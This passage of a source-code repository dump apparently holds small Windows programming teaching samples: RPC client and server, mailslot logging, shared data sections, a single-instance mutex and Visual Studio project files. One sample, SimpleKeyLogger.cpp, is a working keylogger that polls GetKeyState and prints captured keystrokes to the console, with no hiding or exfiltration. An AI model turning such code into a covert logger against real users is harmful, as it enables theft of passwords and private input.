14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/SimpleHook/WinApp/WinApp.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
23 |
24 |
25 |
--------------------------------------------------------------------------------
/SimpleHook/WinApp/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/SimpleKeyLogger/SimpleKeyLogger.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.14.35906.104 d17.14
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SimpleKeyLogger", "SimpleKeyLogger\SimpleKeyLogger.vcxproj", "{610A3F48-A8A3-4280-AF2A-0634E44DE4B0}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {610A3F48-A8A3-4280-AF2A-0634E44DE4B0}.Debug|x64.ActiveCfg = Debug|x64
17 | {610A3F48-A8A3-4280-AF2A-0634E44DE4B0}.Debug|x64.Build.0 = Debug|x64
18 | {610A3F48-A8A3-4280-AF2A-0634E44DE4B0}.Debug|x86.ActiveCfg = Debug|Win32
19 | {610A3F48-A8A3-4280-AF2A-0634E44DE4B0}.Debug|x86.Build.0 = Debug|Win32
20 | {610A3F48-A8A3-4280-AF2A-0634E44DE4B0}.Release|x64.ActiveCfg = Release|x64
21 | {610A3F48-A8A3-4280-AF2A-0634E44DE4B0}.Release|x64.Build.0 = Release|x64
22 | {610A3F48-A8A3-4280-AF2A-0634E44DE4B0}.Release|x86.ActiveCfg = Release|Win32
23 | {610A3F48-A8A3-4280-AF2A-0634E44DE4B0}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {B2ECBDC2-BE19-4291-8F5D-357EAE25CF9E}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/SimpleKeyLogger/SimpleKeyLogger/SimpleKeyLogger.cpp:
--------------------------------------------------------------------------------
1 | // SimpleKeyLogger.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 |
7 | int main() {
8 | int delay, repeat;
9 | SystemParametersInfo(SPI_GETKEYBOARDSPEED, 0, &repeat, 0);
10 | SystemParametersInfo(SPI_GETKEYBOARDDELAY, 0, &delay, 0);
11 |
12 | char numericShift[] = { ')', '!', '\"', '#', '$', '%', '^', '&', '*', '(' };
13 | for (;;) {
14 | bool shift = GetKeyState(VK_SHIFT) < 0;
15 | bool caps = (GetKeyState(VK_CAPITAL) & 1) == 1;
16 |
17 | for (int i = 'A'; i <= 'Z'; i++) {
18 | if (GetKeyState(i) < 0) {
19 | printf("%c", (shift ^ caps) ? i : (i | 0x20));
20 | Sleep(50);
21 | break;
22 | }
23 | }
24 |
25 | if (GetKeyState(VK_SPACE) < 0) {
26 | printf(" ");
27 | Sleep(50);
28 | continue;
29 | }
30 |
31 | if (GetKeyState(VK_RETURN) < 0) {
32 | printf("\n");
33 | Sleep(50);
34 | continue;
35 | }
36 |
37 | for (int i = '0'; i <= '9'; i++) {
38 | if (GetKeyState(i) < 0) {
39 | printf("%c", shift ? numericShift[i - '0'] : i);
40 | Sleep(80);
41 | break;
42 | }
43 | }
44 |
45 | Sleep(20);
46 | }
47 | }
48 |
49 |
--------------------------------------------------------------------------------
/SimpleKeyLogger/SimpleKeyLogger/SimpleKeyLogger.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/SimpleRPC/Client/Client.cpp:
--------------------------------------------------------------------------------
1 | // Client.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #define RPC_USE_NATIVE_WCHAR
5 | #include
6 | #include
7 | #include
8 | #include "..\Server\Calculator_h.h"
9 |
10 | #pragma comment(lib, "rpcrt4")
11 |
12 | int main() {
13 | RPC_WSTR binding;
14 | auto status = RpcStringBindingCompose(nullptr, (PWSTR)L"ncalrpc",
15 | nullptr, (PWSTR)L"ncalrpc:[calc]", nullptr, &binding);
16 | assert(status == RPC_S_OK);
17 |
18 | RPC_BINDING_HANDLE h;
19 | status = RpcBindingFromStringBinding(binding, &h);
20 | assert(status == RPC_S_OK);
21 |
22 | int result = Add(h, 3, 5);
23 | printf("Result: %d\n", result);
24 |
25 | return 0;
26 | }
27 |
28 | void* midl_user_allocate(size_t size) {
29 | return malloc(size);
30 | }
31 |
32 | void midl_user_free(void* p) {
33 | free(p);
34 | }
35 |
--------------------------------------------------------------------------------
/SimpleRPC/Client/Client.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 |
--------------------------------------------------------------------------------
/SimpleRPC/Server/Calculator.idl:
--------------------------------------------------------------------------------
1 | [
2 | uuid(4F072B5A-ECB8-491D-947D-FB3DDD11877B)
3 | ]
4 | interface Calculator {
5 | int Add([in] int a, [in] int b);
6 | }
7 |
--------------------------------------------------------------------------------
/SimpleRPC/Server/Server.cpp:
--------------------------------------------------------------------------------
1 | // Server.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #define RPC_USE_NATIVE_WCHAR
5 | #include
6 | #include
7 | #include
8 | #include "Calculator_h.h"
9 |
10 | #pragma comment(lib, "rpcrt4")
11 |
12 | int main() {
13 | auto status = RpcServerUseProtseqEp((PWSTR)L"ncalrpc", 1,
14 | (PWSTR)L"ncalrpc:[calc]", nullptr);
15 | assert(status == RPC_S_OK);
16 |
17 | status = RpcServerRegisterIf(Calculator_v0_0_s_ifspec, nullptr, nullptr);
18 | assert(status == RPC_S_OK);
19 |
20 | printf("Server PID: %u\n", GetCurrentProcessId());
21 | status = RpcServerListen(1, RPC_C_LISTEN_MAX_CALLS_DEFAULT, FALSE);
22 |
23 | return 0;
24 | }
25 |
26 | void* midl_user_allocate(size_t size) {
27 | return malloc(size);
28 | }
29 |
30 | void midl_user_free(void* p) {
31 | free(p);
32 | }
33 |
34 | int Add(handle_t handle, int a, int b) {
35 | printf("Add invoked with %d and %d\n", a, b);
36 | return a + b;
37 | }
38 |
--------------------------------------------------------------------------------
/SimpleRPC/Server/Server.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 |
26 |
27 | Source Files
28 |
29 |
30 |
--------------------------------------------------------------------------------
/SimpleRPC/SimpleRPC.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.12.35417.141 d17.12
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Server", "Server\Server.vcxproj", "{432215C2-BA6B-4ACD-9C2C-026F45101E21}"
7 | EndProject
8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Client", "Client\Client.vcxproj", "{297685BC-C21B-4A22-977A-EA8A0BFEF1EF}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|x64 = Debug|x64
13 | Debug|x86 = Debug|x86
14 | Release|x64 = Release|x64
15 | Release|x86 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {432215C2-BA6B-4ACD-9C2C-026F45101E21}.Debug|x64.ActiveCfg = Debug|x64
19 | {432215C2-BA6B-4ACD-9C2C-026F45101E21}.Debug|x64.Build.0 = Debug|x64
20 | {432215C2-BA6B-4ACD-9C2C-026F45101E21}.Debug|x86.ActiveCfg = Debug|Win32
21 | {432215C2-BA6B-4ACD-9C2C-026F45101E21}.Debug|x86.Build.0 = Debug|Win32
22 | {432215C2-BA6B-4ACD-9C2C-026F45101E21}.Release|x64.ActiveCfg = Release|x64
23 | {432215C2-BA6B-4ACD-9C2C-026F45101E21}.Release|x64.Build.0 = Release|x64
24 | {432215C2-BA6B-4ACD-9C2C-026F45101E21}.Release|x86.ActiveCfg = Release|Win32
25 | {432215C2-BA6B-4ACD-9C2C-026F45101E21}.Release|x86.Build.0 = Release|Win32
26 | {297685BC-C21B-4A22-977A-EA8A0BFEF1EF}.Debug|x64.ActiveCfg = Debug|x64
27 | {297685BC-C21B-4A22-977A-EA8A0BFEF1EF}.Debug|x64.Build.0 = Debug|x64
28 | {297685BC-C21B-4A22-977A-EA8A0BFEF1EF}.Debug|x86.ActiveCfg = Debug|Win32
29 | {297685BC-C21B-4A22-977A-EA8A0BFEF1EF}.Debug|x86.Build.0 = Debug|Win32
30 | {297685BC-C21B-4A22-977A-EA8A0BFEF1EF}.Release|x64.ActiveCfg = Release|x64
31 | {297685BC-C21B-4A22-977A-EA8A0BFEF1EF}.Release|x64.Build.0 = Release|x64
32 | {297685BC-C21B-4A22-977A-EA8A0BFEF1EF}.Release|x86.ActiveCfg = Release|Win32
33 | {297685BC-C21B-4A22-977A-EA8A0BFEF1EF}.Release|x86.Build.0 = Release|Win32
34 | EndGlobalSection
35 | GlobalSection(SolutionProperties) = preSolution
36 | HideSolutionNode = FALSE
37 | EndGlobalSection
38 | EndGlobal
39 |
--------------------------------------------------------------------------------
/SimpleSharing/SimpleSharing.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.7.33808.371
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SimpleSharing", "SimpleSharing\SimpleSharing.vcxproj", "{F8F0623D-8367-4469-BB0B-92EEBF26ECFD}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {F8F0623D-8367-4469-BB0B-92EEBF26ECFD}.Debug|x64.ActiveCfg = Debug|x64
17 | {F8F0623D-8367-4469-BB0B-92EEBF26ECFD}.Debug|x64.Build.0 = Debug|x64
18 | {F8F0623D-8367-4469-BB0B-92EEBF26ECFD}.Debug|x86.ActiveCfg = Debug|Win32
19 | {F8F0623D-8367-4469-BB0B-92EEBF26ECFD}.Debug|x86.Build.0 = Debug|Win32
20 | {F8F0623D-8367-4469-BB0B-92EEBF26ECFD}.Release|x64.ActiveCfg = Release|x64
21 | {F8F0623D-8367-4469-BB0B-92EEBF26ECFD}.Release|x64.Build.0 = Release|x64
22 | {F8F0623D-8367-4469-BB0B-92EEBF26ECFD}.Release|x86.ActiveCfg = Release|Win32
23 | {F8F0623D-8367-4469-BB0B-92EEBF26ECFD}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {8B1A89C8-1C3D-436A-91C4-00457F9D9F63}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/SimpleSharing/SimpleSharing/SimpleSharing.cpp:
--------------------------------------------------------------------------------
1 | // SimpleSharing.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 |
7 | #pragma data_seg(".shared")
8 | int x = 0;
9 | #pragma data_seg()
10 | #pragma comment(linker, "/section:.shared,RWS")
11 |
12 | int main() {
13 | while (true) {
14 | printf("%d\n", x);
15 | Sleep(1000);
16 | x++;
17 | }
18 | }
19 |
20 |
--------------------------------------------------------------------------------
/SimpleSharing/SimpleSharing/SimpleSharing.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/SimpleSvc/App/App.cpp:
--------------------------------------------------------------------------------
1 | // App.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 | #include "..\SimpleSvc\Logger.h"
7 |
8 | int main() {
9 | HANDLE hLogger = CreateFile(L"\\\\.\\Mailslot\\Logger", GENERIC_WRITE, 0, nullptr,
10 | OPEN_EXISTING, 0, nullptr);
11 |
12 | if (hLogger == INVALID_HANDLE_VALUE) {
13 | printf("Error opening mailslot (%u)\n", GetLastError());
14 | return 1;
15 | }
16 |
17 | struct {
18 | LogMessage msg;
19 | char buffer[500];
20 | } msg;
21 | DWORD written;
22 | for (int i = 0; i < 10; i++) {
23 | Sleep(GetTickCount64() % 700);
24 |
25 | msg.msg.Level = (LogLevel)(GetTickCount64() % (int)LogLevel::_Count);
26 | auto n = sprintf_s(msg.msg.Text, sizeof(msg.buffer), "This is a message from PID:TID %u:%u",
27 | GetCurrentProcessId(), GetCurrentThreadId());
28 |
29 | WriteFile(hLogger, &msg, n + sizeof(LogMessage), &written, nullptr);
30 | }
31 | }
32 |
33 |
--------------------------------------------------------------------------------
/SimpleSvc/App/App.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/SimpleSvc/SimpleSvc.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.12.35323.107
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SimpleSvc", "SimpleSvc\SimpleSvc.vcxproj", "{0A545C51-FB9B-4BF0-9C21-016210588A0C}"
7 | EndProject
8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "App", "App\App.vcxproj", "{9888210D-8137-4FF5-92C9-C0F72A302E92}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|x64 = Debug|x64
13 | Debug|x86 = Debug|x86
14 | Release|x64 = Release|x64
15 | Release|x86 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {0A545C51-FB9B-4BF0-9C21-016210588A0C}.Debug|x64.ActiveCfg = Debug|x64
19 | {0A545C51-FB9B-4BF0-9C21-016210588A0C}.Debug|x64.Build.0 = Debug|x64
20 | {0A545C51-FB9B-4BF0-9C21-016210588A0C}.Debug|x86.ActiveCfg = Debug|Win32
21 | {0A545C51-FB9B-4BF0-9C21-016210588A0C}.Debug|x86.Build.0 = Debug|Win32
22 | {0A545C51-FB9B-4BF0-9C21-016210588A0C}.Release|x64.ActiveCfg = Release|x64
23 | {0A545C51-FB9B-4BF0-9C21-016210588A0C}.Release|x64.Build.0 = Release|x64
24 | {0A545C51-FB9B-4BF0-9C21-016210588A0C}.Release|x86.ActiveCfg = Release|Win32
25 | {0A545C51-FB9B-4BF0-9C21-016210588A0C}.Release|x86.Build.0 = Release|Win32
26 | {9888210D-8137-4FF5-92C9-C0F72A302E92}.Debug|x64.ActiveCfg = Debug|x64
27 | {9888210D-8137-4FF5-92C9-C0F72A302E92}.Debug|x64.Build.0 = Debug|x64
28 | {9888210D-8137-4FF5-92C9-C0F72A302E92}.Debug|x86.ActiveCfg = Debug|Win32
29 | {9888210D-8137-4FF5-92C9-C0F72A302E92}.Debug|x86.Build.0 = Debug|Win32
30 | {9888210D-8137-4FF5-92C9-C0F72A302E92}.Release|x64.ActiveCfg = Release|x64
31 | {9888210D-8137-4FF5-92C9-C0F72A302E92}.Release|x64.Build.0 = Release|x64
32 | {9888210D-8137-4FF5-92C9-C0F72A302E92}.Release|x86.ActiveCfg = Release|Win32
33 | {9888210D-8137-4FF5-92C9-C0F72A302E92}.Release|x86.Build.0 = Release|Win32
34 | EndGlobalSection
35 | GlobalSection(SolutionProperties) = preSolution
36 | HideSolutionNode = FALSE
37 | EndGlobalSection
38 | GlobalSection(ExtensibilityGlobals) = postSolution
39 | SolutionGuid = {2600AB26-7CD1-4D55-A30F-3C53FBEDDECA}
40 | EndGlobalSection
41 | EndGlobal
42 |
--------------------------------------------------------------------------------
/SimpleSvc/SimpleSvc/Logger.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | enum class LogLevel {
4 | Critical,
5 | Error,
6 | Warning,
7 | Info,
8 | Debug,
9 | _Count
10 | };
11 |
12 | struct LogMessage {
13 | LogLevel Level;
14 | char Text[1];
15 | };
16 |
--------------------------------------------------------------------------------
/SimpleSvc/SimpleSvc/SimpleSvc.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
23 |
24 | Header Files
25 |
26 |
27 |
--------------------------------------------------------------------------------
/Single/Single.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.7.33711.374
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Single", "Single\Single.vcxproj", "{9E4390CC-DAA9-45F3-902C-B1F63B84FBD4}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {9E4390CC-DAA9-45F3-902C-B1F63B84FBD4}.Debug|x64.ActiveCfg = Debug|x64
17 | {9E4390CC-DAA9-45F3-902C-B1F63B84FBD4}.Debug|x64.Build.0 = Debug|x64
18 | {9E4390CC-DAA9-45F3-902C-B1F63B84FBD4}.Debug|x86.ActiveCfg = Debug|Win32
19 | {9E4390CC-DAA9-45F3-902C-B1F63B84FBD4}.Debug|x86.Build.0 = Debug|Win32
20 | {9E4390CC-DAA9-45F3-902C-B1F63B84FBD4}.Release|x64.ActiveCfg = Release|x64
21 | {9E4390CC-DAA9-45F3-902C-B1F63B84FBD4}.Release|x64.Build.0 = Release|x64
22 | {9E4390CC-DAA9-45F3-902C-B1F63B84FBD4}.Release|x86.ActiveCfg = Release|Win32
23 | {9E4390CC-DAA9-45F3-902C-B1F63B84FBD4}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {B2077AFB-425A-4BB6-A1BD-FDB9376864F1}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/Single/Single/Single.cpp:
--------------------------------------------------------------------------------
1 | // Single.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 |
7 | int main() {
8 | HANDLE h = CreateMutex(nullptr, FALSE, L"SingleInstanceDemo");
9 | if (!h) {
10 | printf("Error creating mutex (%u)\n", GetLastError());
11 | return 1;
12 | }
13 |
14 | if (GetLastError() == ERROR_ALREADY_EXISTS) {
15 | printf("Second instance... exiting\n");
16 | return 0;
17 | }
18 |
19 | printf("First Instance... press ENTER to exit...\n");
20 | char dummy[3];
21 | gets_s(dummy);
22 | CloseHandle(h);
23 |
24 | return 0;
25 | }
26 |
27 |
--------------------------------------------------------------------------------
/Single/Single/Single.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/TypesExt/TypesExt.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.14.35821.62 d17.14
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TypesExt", "TypesExt\TypesExt.vcxproj", "{ADF3B2B9-2141-4E0C-9747-E5C807B16A2E}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {ADF3B2B9-2141-4E0C-9747-E5C807B16A2E}.Debug|x64.ActiveCfg = Debug|x64
17 | {ADF3B2B9-2141-4E0C-9747-E5C807B16A2E}.Debug|x64.Build.0 = Debug|x64
18 | {ADF3B2B9-2141-4E0C-9747-E5C807B16A2E}.Debug|x86.ActiveCfg = Debug|Win32
19 | {ADF3B2B9-2141-4E0C-9747-E5C807B16A2E}.Debug|x86.Build.0 = Debug|Win32
20 | {ADF3B2B9-2141-4E0C-9747-E5C807B16A2E}.Release|x64.ActiveCfg = Release|x64
21 | {ADF3B2B9-2141-4E0C-9747-E5C807B16A2E}.Release|x64.Build.0 = Release|x64
22 | {ADF3B2B9-2141-4E0C-9747-E5C807B16A2E}.Release|x86.ActiveCfg = Release|Win32
23 | {ADF3B2B9-2141-4E0C-9747-E5C807B16A2E}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {96E93F76-7E4B-408F-BFA1-E3645C9B8C39}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/TypesExt/TypesExt/TypesExt.def:
--------------------------------------------------------------------------------
1 | LIBRARY
2 | EXPORTS
3 | DebugExtensionInitialize
4 |
5 | help
6 | objecttypes
7 |
--------------------------------------------------------------------------------
/TypesExt/TypesExt/TypesExt.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Header Files
20 |
21 |
22 |
23 |
24 | Source Files
25 |
26 |
27 | Source Files
28 |
29 |
30 |
31 |
32 | Source Files
33 |
34 |
35 |
--------------------------------------------------------------------------------
/TypesExt/TypesExt/dllmain.cpp:
--------------------------------------------------------------------------------
1 | // dllmain.cpp : Defines the entry point for the DLL application.
2 | #include "framework.h"
3 |
4 | BOOL APIENTRY DllMain( HMODULE hModule,
5 | DWORD ul_reason_for_call,
6 | LPVOID lpReserved
7 | )
8 | {
9 | switch (ul_reason_for_call)
10 | {
11 | case DLL_PROCESS_ATTACH:
12 | case DLL_THREAD_ATTACH:
13 | case DLL_THREAD_DETACH:
14 | case DLL_PROCESS_DETACH:
15 | break;
16 | }
17 | return TRUE;
18 | }
19 |
20 |
--------------------------------------------------------------------------------
/TypesExt/TypesExt/framework.h:
--------------------------------------------------------------------------------
1 | // header.h : include file for standard system include files,
2 | // or project specific include files
3 | //
4 |
5 | #pragma once
6 |
7 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
8 | // Windows Header Files
9 | #include
10 |
--------------------------------------------------------------------------------
/WinApp/WinApp.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.7.33913.275
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "WinApp", "WinApp\WinApp.vcxproj", "{7067BDCD-263B-4929-9389-7A9DC6D8C446}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
